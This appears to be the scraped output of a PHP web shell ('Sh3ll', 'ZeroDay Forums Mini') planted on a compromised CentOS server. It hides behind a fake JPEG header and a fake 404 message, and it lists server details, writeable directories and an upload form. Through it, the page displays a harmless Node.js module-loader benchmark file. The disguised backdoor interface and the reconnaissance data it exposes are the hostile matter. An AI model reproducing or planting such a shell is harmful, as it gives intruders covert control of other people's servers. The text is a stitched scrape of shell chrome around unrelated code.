����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/home/real/node-v13.0.1/benchmark/module/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/home/real/node-v13.0.1/benchmark/module/module-loader.js
'use strict';
const fs = require('fs');
const path = require('path');
const { builtinModules } = require('module');
const common = require('../common.js');

const tmpdir = require('../../test/common/tmpdir');
let benchmarkDirectory = path.join(tmpdir.path, 'nodejs-benchmark-module');

// Filter all irregular modules.
const otherModules = builtinModules.filter((name) => !/\/|^_|^sys/.test(name));

const bench = common.createBenchmark(main, {
  name: ['', '/', '/index.js'],
  dir: ['rel', 'abs'],
  files: [5e2],
  n: [1, 1e3],
  cache: ['true', 'false']
});

function main({ n, name, cache, files, dir }) {
  tmpdir.refresh();
  fs.mkdirSync(benchmarkDirectory);
  for (var i = 0; i <= files; i++) {
    fs.mkdirSync(`${benchmarkDirectory}${i}`);
    fs.writeFileSync(
      `${benchmarkDirectory}${i}/package.json`,
      '{"main": "index.js"}'
    );
    fs.writeFileSync(
      `${benchmarkDirectory}${i}/index.js`,
      'module.exports = "";'
    );
  }

  if (dir === 'rel')
    benchmarkDirectory = path.relative(__dirname, benchmarkDirectory);

  measureDir(n, cache === 'true', files, name);

  tmpdir.refresh();
}

function measureDir(n, cache, files, name) {
  var i;
  if (cache) {
    for (i = 0; i <= files; i++) {
      require(`${benchmarkDirectory}${i}${name}`);
    }
  }
  bench.start();
  for (i = 0; i <= files; i++) {
    for (var j = 0; j < n; j++)
      require(`${benchmarkDirectory}${i}${name}`);
    // Pretend mixed input (otherwise the results are less representative due to
    // highly specialized code).
    require(otherModules[i % otherModules.length]);
  }
  bench.end(n * files);
}

ZeroDay Forums Mini